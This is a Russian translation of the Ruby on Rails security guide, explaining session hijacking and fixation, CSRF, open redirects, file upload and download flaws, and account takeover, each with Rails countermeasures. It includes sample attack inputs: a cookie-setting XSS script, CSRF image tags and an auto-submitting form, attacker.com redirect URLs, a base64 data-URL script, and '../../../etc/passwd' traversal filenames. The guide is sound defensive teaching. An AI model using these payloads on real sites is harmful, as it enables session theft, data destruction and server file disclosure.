Руководство Ruby On Rails по безопасности

Это руководство описывает общие проблемы безопасности в приложениях веб, и как избежать их с помощью Rails.

После прочтения этого руководства, вы узнаете:

  • Обо всех контрмерах, которые выделены в тексте.
  • Концепцию сессий в Rails, что в них вкладывать, и популярные методы атак.
  • Как простое посещение сайта может быть проблемой безопасности (про подделку межсайтовых запросов, CSRF).
  • На что следует обратить внимание при работе с файлами или предоставлении административного интерфейса.
  • Как управлять пользователями: вход и выход, и методы атак на всех уровнях.
  • И наиболее популярные методы атаки инъекцией.

1. Введение

Фреймворки веб приложений сделаны для помощи разработчикам в создании веб приложений. Некоторые из них также помогают с безопасностью веб приложения. Фактически, один фреймворк не безопаснее другого: если использовать их правильно, возможно создавать безопасные приложения на разных фреймворках. Ruby on Rails имеет некоторые умные хелпер-методы, например против инъекций SQL, поэтому вряд ли это будет проблемой.

В основном здесь нет такого, как plug-n-play безопасность. Безопасность зависит от людей, использующих фреймворк, и иногда от метода разработки. И зависит от всех уровней среды веб приложения: внутреннего хранения данных, веб сервера и самого веб приложения (и, возможно, других уровней приложений).

Однако, The Gartner Group оценила, что 75% атак происходят на уровне веб приложения, и обнаружила, что из 300 проверенных сайтов, 97% уязвимы к атакам. Это потому, что веб приложения относительно просто атаковать, так как они просты для понимания и воздействия, даже простым человеком.

Угрозы против веб приложений включают похищение пользовательской записи, обход контроля доступа, чтение или изменение конфиденциальных данных или представление мошеннического содержимого. Или атакующий может получить возможность установки программы-трояна или программы отправки нежелательных e-mail с целью финансовой выгоды, или нанесения вреда брэнду, с помощью изменения ресурсов компании. Для предотвращения атак, сведения к минимуму их последствий и удаления уязвимых мест прежде всего необходимо полное понимание методов атак, чтобы найти правильные контрмеры. Это то, на что направлено это руководство.

Для разработки безопасных веб приложений вы должны быть в курсе всех уровней безопасности и знать своих врагов. Чтобы быть в курсе, подпишитесь на рассылку по безопасности, читайте блоги по безопасности, регулярно осуществляйте обновления и производите проверки безопасности (смотрите раздел Дополнительные источники). Делайте это вручную, поскольку так вы можете найти неприятные проблемы безопасности на уровне логики.

2. Сессии

Начнем обзор безопасности с сессий, которые могут быть уязвимыми к определенным атакам.

2.1. Что такое сессии?

HTTP - это протокол, независимый от предыдущих запросов. Сессии добавляют эту зависимость.

Большинству приложений необходимо следить за определенным состоянием конкретного пользователя. Это может быть содержимым корзины товаров или id залогиненного пользователя. Без идеи сессии пользователю нужно идентифицироваться, а возможно и аутентифицироваться, с каждым запросом. Rails создаст новую сессию автоматически, если новый пользователь получит доступ к приложению. Он загрузит существующую сессию, если пользователь уже пользовался приложением.

Сессия обычно состоит из хэша значений и ID сессии, обычно 32-символьной строкой, идентифицирующего хэш. Каждый куки, посланный браузеру клиента, включает ID сессии. И с другой стороны, браузер пошлет его серверу с каждым запросом от клиента. В Rails можно сохранять и получать значения, используя метод session:

session[:user_id] = @current_user.id
User.find(session[:user_id])

2.2. ID сессии

ID сессии - это 32-символьная случайная шестнадцатеричная строка.

ID сессии генерируется с помощью SecureRandom.hex, который генерирует случайную шестнадцатеричную строку с помощью зависимых от платформы методов (таких как OpenSSL, /dev/urandom или Win32) генерации криптографически устойчивых случайных чисел. В настоящее время не представляется возможным брутфорсить ID сессии Rails.

2.3. Похищение сессии

Воровство ID пользовательской сессии позволяет злоумышленнику использовать веб приложение от лица жертвы.

Многие веб приложения имеют такую систему аутентификации: пользователь предоставляет имя пользователя и пароль, веб приложение проверяет их и хранит id соответствующего пользователя в хэше сессии. С этого момента сессия валидна. При каждом запросе приложение загрузит пользователя, определенного по user id в сессии, без необходимости новой аутентификации. ID сессии в куки идентифицирует сессию.

Таким образом, куки служит как временная аутентификация для веб приложения. Любой, кто воспользовался куки от кого-то другого, может пользоваться веб приложением, как этот пользователь – с возможными серьезными последствиями. Вот несколько способов похищения сессии и контрмеры этому:

  • Перехват куки в незащищенной сети. Беспроводная LAN может быть примером такой сети. В незашифрованной беспроводной LAN очень легко прослушивать трафик всех присоединенных клиентов. Для создателя веб приложений это означает, что необходимо предоставить безопасное соединение через SSL. В Rails 3.1 и позже это может быть выполнено с помощью принуждения к соединению SSL в файле конфигурации приложения:

    config.force_ssl = true
    
    
  • Многие не очищают куки поле работы на публичном терминале. Поэтому, если предыдущий пользователь не вышел из веб приложения, вы сможете его использовать как этот пользователь. Обеспечьте пользователя кнопкой выхода в веб приложении, и сделайте ее заметной.

  • Часто межсайтовый скриптинг (XSS, cross-site scripting) ставит целью получение куки пользователя. Подробнее о XSS вы прочитаете позже.

  • Вместо похищения неизвестных злоумышленнику куки, он изменяет идентификатор сессии пользователя (в куки) на известный ему. Об этих так называемых фиксациях сессии вы прочитаете позже.

Основная цель большинства злоумышленников это сделать деньги. Подпольные цены за краденную банковскую учетную запись варьируются в пределах $10–$1000 (в зависимости от доступной суммы средств), $0.40–$20 за номер кредитной карточки, $1–$8 за аккаунт онлайн аукциона и $4–$30 за пароль от email, в соответствии с Symantec Global Internet Security Threat Report.

2.4. Указания по сессии

Вот несколько общих указаний по сессиям.

  • Не храните большие объекты в сессии. Вместо этого следует хранить их в базе данных и сохранять в сессии их id. Это позволит избежать головной боли при синхронизации и не будет забивать место хранения сессии (в зависимости от того, какое хранение сессии было выбрано, смотрите ниже). Также будет хорошо, если вы вдруг измените структуру объекта, а старые его версии все еще будут в куки некоторых клиентов. Конечно, при хранении сессий на сервере вы сможете просто очистить сессии, но при хранении на клиенте это сильно помогает.
  • Критические данные не следует хранить в сессии. Если пользователь очищает куки или закрывает браузер, они потеряются. А в случае хранения сессии на клиенте, пользователь сможет прочесть данные.

2.5. Хранение сессии

Rails предоставляет несколько механизмов хранения для хэшей сессии. Наиболее важным является ActionDispatch::Session::CookieStore.

Rails 2 представил новый способ хранения сессии по умолчанию, CookieStore. CookieStore сохраняет хэш сессии прямо в куки на стороне клиента. Сервер получает хэш сессии из куки, и устраняется необходимость в ID сессии. Это значительно увеличивает скорость приложения, но является спорным вариантом хранения, и вы должны подумать об условиях безопасности этого:

  • Куки предполагают ограничение размера в 4kB. Это нормально, так как не нужно хранить большие объемы данных в сессии, о чем писалось ранее. Хранение id пользователя в сессии это обычно нормально.
  • Клиент может увидеть все, что вы храните в сессии, поскольку они хранятся чистым текстом (фактически кодированы Base64, но не зашифрованы). Поэтому, разумеется, вы не захотите хранить тут секретные данные. Для предотвращения фальсификации хэша сессии, из сессии рассчитывается дайджест с помощью серверного секретного ключа (secrets.secret_token) и вставляется в конец куки.

Однако, начиная с Rails 4 хранилищем по умолчанию является EncryptedCookieStore. С помощью EncryptedCookieStore сессия шифруется перед сохранением в cookie. Это предотвращает доступ и подделку содержимого куки пользователем. Таким образом, куки становятся более безопасным местом для хранения данных. Шифрование выполняется с помощью серверного секретного ключа secrets.secret_key_base, хранящегося в config/secrets.yml.

Это означает, что безопасность такого хранения основывается на этом секретном ключе (и на алгоритме хеширования, который по умолчанию SHA1, для совместимости). Поэтому не используйте банальный секретный ключ, т.е. слово из словаря, или короче 30 символов, вместо этого используйте rails secret.

secrets.secret_key_base используется для определения ключа, позволяющего сессиям приложения быть верифицированными по известному секретному ключу, чтобы предотвратить подделку. Приложения получают secrets.secret_key_base инициализированным случайным секретным ключом в config/secrets.yml, т.е.:

development:
  secret_key_base: a75d...

test:
  secret_key_base: 492f...

production:
  secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>

Прежние версии Rails использовали CookieStore, который использовал secret_token вместо secret_key_base, используемого EncryptedCookieStore. Подробнее читайте в документации по обновлению.

Если вам досталось приложение, в котором секретный ключ был скомпрометирован (т.е. приложение, исходники которого были в общем доступе), настоятельно рекомендуется изменить секретный ключ.

2.6. Атаки воспроизведения для сессий CookieStore

Другой тип атак, которого следует опасаться при использовании CookieStore, это атака воспроизведения (replay attack).

Она работает подобным образом:

  • Пользователь получает кредит, сумма сохраняется в сессию (что является плохой идеей в любом случае, но мы воспользуемся этим для целей демонстрации).
  • Пользователь покупает что-либо.
  • Новая изменившаяся сумма кредита сохраняется в сессии.
  • Пользователь берет куки с первого шага (которые он предварительно скопировал) и заменить текущие куки в браузере.
  • Пользователь получил свой первоначальный кредит назад.

Включение поля nonce (случайное значение) в сессию решает проблему атак воспроизведения. Поле nonce валидно только один раз, и сервер должен отслеживать все валидные nonce. Такое становится еще более сложным, если у вас несколько серверов приложений. Хранение nonce в таблице базы данных аннулирует основную цель CookieStore (избежание доступа к базе данных).

Лучшее решение против атак - это хранить данные такого рода не в сессии, а в базе данных. В нашем случае храните величину кредита в базе данных, а logged_in_user_id в сессии.

2.7. Фиксации сессии

Кроме кражи ID сессии пользователя, злоумышленник может исправить ID сессии на известный ему. Это называется фиксацией сессии.

Фиксация сессии

Эта атака сосредоточена на ID сессии пользователя, известному злоумышленнику, и принуждению браузера пользователя использовать этот ID. После этого злоумышленнику не нужно воровать ID сессии. Вот как эта атака работает:

  • Злоумышленник создает валидный ID сессии: он загружает страницу авторизации веб приложения, где он хочет исправить сессию, и принимает id сессии в куки из отклика (смотрите номера 1 и 2 на изображении).
  • Он поддерживает сессию, периодически обращаясь к приложению, чтобы сохранить сессию действующей.
  • Злоумышленник принуждает браузер пользователя использовать этот ID сессии (смотрите номер 3 на изображении). Поскольку нельзя изменить куки другого домена (из-за политики общего происхождения), злоумышленник должен запустить JavaScript из домена целевого веб приложения. Инъекция кода JavaScript в приложение с помощью XSS завершает эту атаку. Вот пример: <script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>. Про XSS и инъекции будет написано позже.
  • Злоумышленник заманивает жертву на зараженную страницу с кодом JavaScript. Просмотрев эту страницу, браузер жертвы изменит ID сессии на ID сессии-ловушки.
  • Так как новая сессия-ловушка не использовалась, веб приложение затребует аутентификации пользователя.
  • С этого момента жертва и злоумышленник будут совместно использовать веб приложение с одинаковой сессией: сессия станет валидной и жертва не будет уведомлена об атаке.

2.8. Фиксации сессии - контрмеры

Одна строка кода защитит вас от фиксации сессии.

Наиболее эффективная контрмера - это создавать новый идентификатор сессии и объявлять старый невалидным после успешного входа. Тогда злоумышленник не сможет использовать подмененный идентификатор сессии. Это также хорошая контрмера против похищения сессии. Вот как создать новую сессию в Rails:

reset_session

Если используете популярный гем Devise для управления пользователями, он автоматически оканчивает сессии при входе и выходе. Если вы пишете управление пользователями сами, не забудьте окончить сессию после экшна входа (когда создается сессия). Это удалит любые значения из сессии, поэтому необходимо передать их в новую сессию.

Другой контрмерой является сохранение специфичных для пользователя свойств в сессии, проверка их каждый раз с входящим запросом и запрет доступа, если информация не соответствует. Такими свойствами могут быть удаленный адрес IP или агент пользователя (имя веб браузера), хотя последний менее специфичен. При сохранении адреса IP вы должны понимать, что имеется большое количество интернет провайдеров или больших организаций, размещающих своих пользователей за прокси. Адрес может меняться в течении сессии, поэтому такие пользователи не смогут использовать ваше приложение, либо только с ограничениями.

2.9. Окончание сессии

Сессии, которые не имеют время жизни, растягивают временной период для атак, таких как подделка межсайтовых запросов (CSRF), похищение сессии и фиксация сессии.

Один из способов - это установить временную метку окончания куки с ID сессии. Однако клиент может редактировать куки, хранящиеся в веб браузере, поэтому сессии со сроком действия безопаснее хранить на сервере. Вот пример как окончить сессии в таблице базы данных. Вызовите Session.sweep("20m") чтобы окончить сессии, которые использовались более 20 минут назад.

class Session < ApplicationRecord
  def self.sweep(time = 1.hour)
    if time.is_a?(String)
      time = time.split.inject { |count, unit| count.to_i.send(unit) }
    end

    delete_all "updated_at < '#{time.ago.to_s(:db)}'"
  end
end

Раздел о фиксации сессии представил проблему поддержки сессий. Злоумышленник, поддерживающий сессию каждые пять минут, будет поддерживать срок жизни сессии вечно, хотя у сессии и есть срок действия. Простым решением для этого может быть добавление столбца created_at в таблицу sessions. Теперь можете удалять сессии, которые были созданы очень давно. Используйте эту строку в вышеупомянутом методе sweep:

delete_all "updated_at < '#{time.ago.to_s(:db)}' OR
  created_at < '#{2.days.ago.to_s(:db)}'"

3. Подделка межсайтовых запросов (CSRF, Cross-Site Request Forgery)

Этот метод атаки работает через включение вредоносного кода или ссылки на страницу, которая обращается к веб приложению, на котором предполагается, что пользователь аутентифицирован. Если сессия для того веб приложения не истекла, злоумышленник сможет выполнить несанкционированные команды.

csrf

В главе про сессии мы узнали, что большинство приложений на Rails используют сессии, основанные на куки. Либо они хранят ID сессии в куки и имеют хэш сессии на сервере, либо весь хэш сессии на клиенте. В любом случае, браузер автоматически пошлет куки с каждым запросом к домену, если он найдет куки для этого домена. Спорный момент в том, что он также пошлет куки, если запрос идет с сайта другого домена. Давайте рассмотрим пример:

  • Bob просматривает доску объявлений и смотрит публикацию от хакера, в котором имеется созданный HTML элемент изображения. Элемент ссылается на команду в приложении Bob-а по управлению проектами, а не на файл изображения: <img src="http://www.webapp.com/project/1/destroy">
  • Сессия Bob-а на www.webapp.com все еще действующая, так как он работал с сайтом несколько минут назад.
  • Просматривая публикацию, браузер находит тег изображения. Он пытается загрузить предполагаемое изображение с сайта www.webapp.com. Как уже объяснялось, он также посылает куки с валидным ID сессии.
  • Веб приложение www.webapp.com подтверждает информацию о пользователе в соответствующей сессии и уничтожает проект с ID 1. Затем он возвращает итоговую страницу, которая не является ожидаемым результатом для браузера, поэтому он не отображает изображение.
  • Bob не уведомляется об атаке - но несколько дней спустя он обнаруживает, что проекта номер один больше нет.

Важно отметить, что фактически создаваемое изображение или ссылка не обязательно должны быть расположены в домене веб приложения, они могут быть где угодно – на форуме, в публикации блога или в email.

CSRF очень редко появляется среди CVE (распространённых уязвимостей и опасностей) - менее 0.1% в 2006 - но на самом деле это "спящий гигант". Это значительно контрастирует с результатами множества работ по безопасности - CSRF является важным вопросом безопасности.

3.1. Контрмеры CSRF

Во-первых, как это требуется W3C, используйте надлежащим образом GET и POST. Во-вторых, токен безопасности в не-GET запросах защитит ваше приложение от CSRF.

Протокол HTTP, по существу, представляет два основных типа запросов - GET и POST (их больше, но они не поддерживаются большинством браузеров). Консорциум Всемирной паутины (W3C) предоставляет контрольный список для выбора между HTTP методами GET или POST:

Используйте GET, если:

  • Взаимодействие более похоже на вопрос (например, это безопасная операция, такая как запрос, операция чтения или поиска).

Используйте POST, если:

  • Взаимодействие более похоже на распоряжение, или
  • Взаимодействие изменяет состояние ресурса способом, который пользователь будет осознавать (например, подписка на услугу), или
  • Пользователь несет ответственность за результат взаимодействия.

Если Ваше приложение является RESTful, можете использовать дополнительные методы HTTP, такие как PATCH, PUT или DELETE. Однако, большинство современных веб браузеров не поддерживают их - только GET и POST. Rails использует скрытое поле _method для преодоления этого препятствия.

Запросы POST также могут быть посланы автоматически. В этом примере, ссылка www.harmless.com показывается как назначение в статус-баре браузера. Но фактически она динамически создает новую форму, посылающую запрос POST.

<a href="http://www.harmless.com/" onclick="
  var f = document.createElement('form');
  f.style.display = 'none';
  this.parentNode.appendChild(f);
  f.method = 'POST';
  f.action = 'http://www.example.com/account/destroy';
  f.submit();
  return false;">To the harmless survey</a>

Или злоумышленник поместит код в обработчик события onmouseover изображения:

<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />

Имеется множество других возможностей, наподобие использования тега <script> для осуществления межсайтового запроса к URL с откликом JSONP или JavaScript. Откликом является запускаемый код, для которого злоумышленник может найти способ запуска, возможно с извлечением деликатных данных. Для защиты от утечки этих данных мы должны запрещать межсайтовые теги <script>. Однако, запросы Ajax подчиняются доменной политике браузера (только вашему сайту разрешено инициировать XmlHttpRequest), поэтому мы можем безопасно разрешить им возвращать отклики JavaScript.

Note: Мы не можем отличить домен тега <script> - был ли это тег на вашем сайте или на сайте злоумышленника - поэтому мы должны блокировать <script> всегда и везде, даже если это фактически безопасный скрипт, отданный с вашего сайта на вашем домене. В таких случаях, явно отменяйте защиту CSRF на экшнах, обслуживающих JavaScript, в том числе от тега <script>.

Для защиты от остальных подделанных запросов, мы представляем обязательный токен безопасности, который знает ваш сайт, но не знают остальные. Мы включаем токен безопасности в запросы и проверяем его на сервере. Это одна строка в контроллере вашего приложения, и это значение по умолчанию для новых приложений Rails:

protect_from_forgery with: :exception

Это автоматически включит токен безопасности во все формы и запросы Ajax, создаваемые Rails. Если токен безопасности не будет соответствовать ожидаемому, будет вызвано исключение.

По умолчанию, Rails включает jQuery и jquery-ujs, который добавляет заголовок, называемый X-CSRF-Token в каждый не-GET Ajax запрос, сделанный jQuery с токеном безопасности. Без этого заголовка не-GET Ajax запросы не будут приняты Rails. При использовании другой библиотеки для Ajax запросов, необходимо добавить токен безопасности как заголовок по умолчанию в Ajax запросах в вашей библиотеке. Для получения токен, посмотрите на тэг <meta name='csrf-token' content='THE-TOKEN'>, получаемый с помощью <%= csrf_meta_tags %> во вьюхах вашего приложения.

Является обычной практикой использование постоянных куки для хранения пользовательской информации, к примеру с помощью cookies.permanent. В этом случае куки не будут очищены и встроенная защита от CSRF не будет эффективна. Если для этой информации вы используете хранилище куки иное, чем сессия, то должны указать, что делать, самостоятельно:

rescue_from ActionController::InvalidAuthenticityToken do |exception|
  sign_out_user # Метод для примера, уничтожающий куки пользователя
end

Вышеуказанный метод должен быть помещен в ApplicationController и вызываться, когда отсутствует или неправильный токен CSRF для не-GET запроса.

Отметьте, что уязвимости межсайтового скриптинга (XSS) обходят все защиты от CSRF. XSS дает злоумышленнику доступ ко всем элементам на странице, поэтому он может прочитать токен безопасности CSRF из формы или непосредственно утвердить форму. Читайте более подробно о XSS позже.

4. Перенаправление и файлы

Другой класс уязвимостей в безопасности связан с использованием перенаправления и файлов в веб приложениях.

4.1. Перенаправление

Перенаправление в веб приложении - это недооцененный инструмент взломщика: на сайт-ловушку может направить пользователя не только злоумышленник, но и сам пользователь.

Всякий раз когда пользователь допускается к передаче (всего или части) URL для перенаправления, это является возможной уязвимостью. Наиболее банальной атакой может быть перенаправление пользователей на фальшивое веб приложение, которое выглядит и работает как настоящее. Эта так называемая фишинг атака работает через посланную не вызывающую подозрения ссылку в email для пользователей, вставленную в приложение ссылку с помощью XSS или ссылку, помещенную на внешнем сайте. Она не вызывает подозрений, так как ссылка начинается с URL к веб приложению, а URL к злонамеренному сайту скрыт в параметре перенаправления: http://www.example.com/site/redirect?to=www.attacker.com. Вот пример экшена legacy:

def legacy
  redirect_to(params.update(action:'main'))
end

Он перенаправит пользователя на экшен main, если тот попытается получить доступ к экшену legacy. Намерением было сохранить параметры URL к экшену legacy и передать их экшену main. Однако это может быть использовано злоумышленником, если он включит ключ host в URL:

http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com

Этот URL в конце вряд ли будет замечен и перенаправит пользователя на хост attacker.com. Простой контрмерой будет являться включение только ожидаемых параметров в экшен legacy (снова подход белого списка, в отличие от устранения нежелательных параметров). И если вы перенаправляете на URL, сверьтесь с белым списком или регулярным выражением.

4.1.1. Самодостаточный XSS

Другая перенаправляющая и самодостаточная XSS атака работает в Firefox и Opera с использованием протокола данных. Этот протокол отображает свое содержимое прямо в браузер и может быть чем угодно от HTML или JavaScript до простых изображений:

data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

Этот пример является закодированным Base64 JavaScript, который отображает простое окно сообщения. В перенаправляющем URL злоумышленник может перенаправить на этот URL с помощью злонамеренного кода в нем. В качестве контрмеры не позволяйте пользователю предоставлять (полностью или частично) URL, на который нужно перенаправить.

4.2. Загрузки файла

Убедитесь, что загрузки файлов не перезапишут важные файлы и обрабатывают медиа файлы асинхронно.

Многие веб приложения позволяют пользователям загружать файлы. Имена файла, которые пользователи могут выбирать (частично), всегда должны фильтроваться, так как злоумышленник может использовать злонамеренное имя файла для перезаписи любого файла на сервере. Если загруженные файлы хранятся в /var/www/uploads, и пользователь введет имя файла такое как “../../../etc/passwd”, это сможет перезаписать важный файл. Конечно, интерпретатору Ruby будут требоваться необходимые разрешения, чтобы сделать это – еще одна причина запускать веб серверы, серверы базы данных и другие программы под наименее привилегированным пользователем Unix.

Когда фильтруете имена файлов, введенных пользователем, не пытайтесь убрать злонамеренные части. Подумайте о ситуации, когда веб приложение убирает все “../” в имени файла, и злоумышленник использует строку, такую как “....//”, результатом будет “../”. Лучше использовать подход белого списка, который проверяет на валидность имя файла с помощью набора приемлемых символов. Это противопоставляется подходу черного списка, который пытается убрать недопустимые символы. В случае невалидного имени файла отвергните его (или замените неприемлемые символы), но не убирайте их. Вот санитайзер имени файла из плагина attachment_fu:

def sanitize_filename(filename)
  filename.strip.tap do |name|
    # NOTE: File.basename doesn't work right with Windows paths on Unix
    # get only the filename, not the whole path
    name.sub! /\A.*(\\|\/)/, ''
    # Finally, replace all non alphanumeric, underscore
    # or periods with underscore
    name.gsub! /[^\w\.\-]/, '_'
  end
end

Значительный недостаток синхронной обработки загрузок файла (что плагин attachment_fu может сделать с изображениями), это его уязвимость к DoS-атакам. Злоумышленник может синхронно начать загрузки файла изображения с многих компьютеров, которые увеличат загрузку сервера и могут в конечном счете свалить или затормозить сервер.

Лучшее решение этого состоит в асинхронной обработке медиа файлов: сохраните медиафайл и расписание обработки запроса в базу данных. Второй процесс будет заниматься обработкой файла в фоновом режиме.

4.3. Исполняемый код в загрузках файла

Исходный код в загруженных файлах может быть исполнен при помещении в определенные директории. Не помещайте загрузки файла в директорию Rails /public, если это домашняя директория Apache.

Популярный веб сервер Apache имеет опцию, называемую DocumentRoot. Это домашняя директория веб сайта, все в дереве этой директории будет обслуживаться веб сервером. Если там имеются файлы с определенным расширением имени, код в в них будет выполнен при запросе (может требоваться установка некоторых опций). Примерами этого являются файлы PHP и CGI. Теперь представьте ситуацию, когда злоумышленник загружает файл “file.cgi” с кодом, который будет запущен, когда кто-то скачивает файл.

Если Apache DocumentRoot указывает на директорию Rails /public, не помещайте загрузки файлов в него, храните файлы как минимум на один уровень ниже.

4.4. Скачивания файла

Убедитесь, что пользователи не могут скачивать произвольные файлы.

Так же как вы фильтруете имена файла для загрузки, следует делать то же самое для скачивания. Метод send_file() посылает файлы от сервера на клиент. Если использовать имя файла, введенного пользователем, без фильтрации, может быть скачан любой файл:

send_file('/var/www/uploads/' + params[:filename])

Просто передайте имя файла такое, как "../../../etc/passwd", чтобы загрузить информацию о доступе к серверу. Простым решением против этого является проверка того, что запрашиваемый файл находится в ожидаемой директории:

basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename !=
     File.expand_path(File.join(File.dirname(filename), '../../../'))
send_file filename, disposition: 'inline'

Другой (дополнительный) подход заключается в хранении имен файлов в базе данных и именовании файлов на диске по id в базе данных. Это также хороший подход для избежания возможного кода в загруженных файлах, который может быть запущен. Плагин attachment_fu осуществляет это похожим образом.

5. Интранет и безопасность администратора

Интранет и административные интерфейсы являются популярной целью для атак, поскольку они предоставляют привилегированный доступ. Хотя это и может потребовать несколько дополнительных мер безопасности, таковы реалии современного мира.

В 2007 году зарегистрирован первый специально изготовленный троян, похищающий информацию из Интранета, названный "Monster for employers" по имени веб-сайта Monster.com, онлайн приложения по найму работников. Специально изготовленные трояны очень редки, поэтому риск достаточно низок, но, конечно, возможен, и пример показывает, что безопасность хоста клиента тоже важна. Однако, наибольшей угрозой для Интранета и администраторских приложений являются XSS и CSRF.

XSS: Если ваше приложение повторно отображает введенные пользователем вредоносные данные, приложение уязвимо к XSS. Имена пользователей, комментарии, отчеты о спаме, адреса заказов - это всего лишь обычные примеры, где может быть XSS.

Если есть всего лишь одно место в админке или Интранете, где ввод не был обработан, это делает целое приложение уязвимым. Возможными результатами могут быть похищение привилегированных администраторских куки, встраивание iframe для похищения администраторского пароля или установка злонамеренного программного обеспечения через дыры в безопасности браузера для установления контроля над компьютером администратора.

Обратитесь к разделу про инъекции для контрмер против XSS. Также Рекомендуется использовать плагин SafeErb в Интранете или администраторском интерфейсе.

CSRF: Подделка межсайтовых запросов (CSRF), также известная как подделка межсайтовых ссылок (XSRF), - это гигантский метод атаки, он позволяет злоумышленнику делать все то, что может делать администратор или пользователь Интранета. Так как мы уже раньше рассматривали как работает CSRF, вот несколько примеров того, как злоумышленники могут обращаться с Интранетом или административным интерфейсом.

Реальным примером является перенастройка роутера с помощью CSRF. Злоумышленники разослали зловредные электронные письма с вложенным CSRF мексиканским пользователям. Письма утверждали, что пользователя ждет пластиковая карточка, но они также содержали тег изображения, который приводил к запросу HTTP-GET на перенастройку роутера пользователя (наиболее популярной модели в Мексике). Запрос изменял настройки DNS таким образом, что запросы к мексиканскому банковскому сайту направлялись на сайт злоумышленников. Все, кто обращался к банковскому сайту через роутер, видели фальшивый сайт злоумышленников, и у них были похищены регистрационные данные.

Другой пример изменял адрес почты и пароль Google Adsense. Если жертва входила в Google Adsense, административный интерфейс рекламных компаний Google, злоумышленник изменял ее полномочия.

Другой популярной атакой является спам от вашего веб приложения, вашего блога или форума для распространения зловредного XSS. Конечно, злоумышленник должен знать структуру URL, но большинство URL Rails достаточно просты или они могут быть легко найдены, если это административный интерфейс приложения с открытым кодом. Злоумышленник даже может сделать 1,000 попыток, просто включив злонамеренный тег IMG, который пытается использовать каждую возможную комбинацию.

По контрмерам против CSRF в административных интерфейсах и приложениях Интранет, обратитесь к разделу по CSRF.

5.1. Дополнительные меры предосторожности

Обычный административный интерфейс работает подобно следующему: расположен в www.example.com/admin, может быть доступным только если настроен признак администратора в модели User, отображает данные, введенные пользователем, и позволяет админу удалять/добавлять/редактировать любую желаемую информацию. Вот некоторые мысли обо всем этом:

  • Очень важно думать о худшем случае: что если кто-то в самом деле достанет ваши куки или полномочия пользователя? Вы должны ввести роли для административного интерфейса, чтобы ограничить возможности злоумышленника. Или как насчет специальных полномочий авторизации для административного интерфейса, отличающихся от тех, которые используются в публичной части приложения? Или специального пароля для очень серьезных действий?

  • Действительно ли админ должен иметь доступ к интерфейсу из любой точки мира? Подумайте насчет ограничения авторизации списком IP адресов. Проверьте request.remote_ip для того, чтобы узнать об IP адресах пользователя. Это не абсолютная, но серьезная защита. Хотя помните, что могут использоваться прокси.

  • Поместите административный интерфейс в специальный поддомен, такой как admin.application.com, и сделайте его отдельным приложением со своим собственным управлением пользователями. Это сделает похищение куки админа из обычного домена www.application.com невозможным. Это происходит благодаря правилу ограничения домена вашего браузера: встроенный (XSS) скрипт на www.application.com не сможет прочитать куки для admin.application.com и наоборот.

6. Управление пользователями

Почти каждое веб приложение работает с авторизацией и аутентификацией. Вместо написания собственных, целесообразно использование внешних плагинов. Но их нужно также обновлять. Несколько дополнительных мер предосторожности сделают ваше приложение более безопасным.

Для Rails имеется ряд плагинов для аутентификации. Хорошие, такие как популярные devise и authlogic, сохраняют пароли только зашифрованными, а не чистым текстом. В Rails 3.1 можно использовать встроенный метод has_secure_password, имеющий похожие возможности.

Каждый новый пользователь получает активационный код для активации своего аккаунта по e-mail со ссылкой в нем. После активации аккаунта столбец activation_code в базе данных будет установлен как NULL. Если кто-то запросит следующий URL, он войдет как первый активированный пользователь, найденный в базе данных (а это, скорее всего, администратор):

http://localhost:3006/user/activate
http://localhost:3006/user/activate?id=

Это возможно, поскольку на некоторых серверах это приведет к тому, что параметр id, как params[:id], будет равен nil. Однако, вот поиск из экшена activation:

User.find_by_activation_code(params[:id])

Если параметр был nil, результирующий запрос SQL будет таким

SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1

И это найдет первого пользователя в базе данных, вернет его и войдет под ним. Об этом подробно написано тут (англ.). Рекомендовано обновлять свои плагины время от времени. Более того, можете тестировать свое приложение, чтобы найти больше недостатков, таких как это.

6.1. Брутфорс аккаунтов

Брутфорс-атаки на аккаунты - это атаки методом проб и ошибок на учетные данные для входа. Отбиться от них можно с помощью обычных сообщений об ошибке и, возможно, требования ввести CAPTCHA.

Перечень имен пользователей вашего веб-приложения может быть использован для брутфорса соответствующих паролей, поскольку большинство людей не используют сложные пароли. Большинство паролей - это комбинация слов из словаря и, возможно, цифр. Таким образом, вооруженная перечнем пользователей и словарем, автоматическая программа может подобрать правильный пароль за считанные минуты.

Поэтому большинство приложений отображают общее сообщение об ошибке "неправильное имя пользователя или пароль", если даже одно из них не правильное. Если оно сообщит "имя пользователя, которое вы ввели, не найдено", злоумышленник сможет автоматически собрать перечень имен пользователя.

Однако часто разработчики веб приложения пренебрегают страницами восстановления пароля. Эти страницы часто признают, что введенное имя пользователя или адрес e-mail (не) был найден. Это позволяет злоумышленнику собирать перечень имен пользователей и брутфорсить аккаунты.

В целях смягчения таких атак, отображайте общее сообщение об ошибке и на страницах восстановления пароля. Более того, можете требовать ввести CAPTCHA после нескольких проваленных попыток входа с одного адреса IP. Отметим, что это не пуленепробиваемая защита против автоматических программ, поскольку эти программы могут изменять свой адрес IP так часто, как нужно. Однако это будет барьером для атаки.

6.2. Взлом аккаунта

Многие веб приложения позволяют легко взломать пользовательские аккаунты. Почему бы не отличиться и не сделать это более трудным?

6.2.1. Пароли

Подумайте о ситуации, когда злоумышленник украл куки сессии пользователя и, таким образом, может совместно с ним использовать приложение. Если будет просто сменить пароль, злоумышленник взломает аккаунт в два щелчка. Или, если форма изменения пароля уязвима для CSRF, злоумышленник сможет изменить пароль жертвы, заманив его на веб страницу, на которой содержится тег IMG, осуществляющий CSRF. Как контрмера - делайте формы изменения пароля безопасными против CSRF, естественно. И требуйте от пользователя ввести старый пароль при его изменении.

6.2.2. E-Mail

Однако злоумышленник может также получить контроль над аккаунтом, изменив адрес e-mail. После его изменения, он пойдет на страницу восстановления пароля и (возможно новый) пароль будет выслан на адрес e-mail злоумышленника. В качестве контрмеры также требуйте от пользователя вводить пароль при изменении адреса e-mail.

6.2.3. Другое

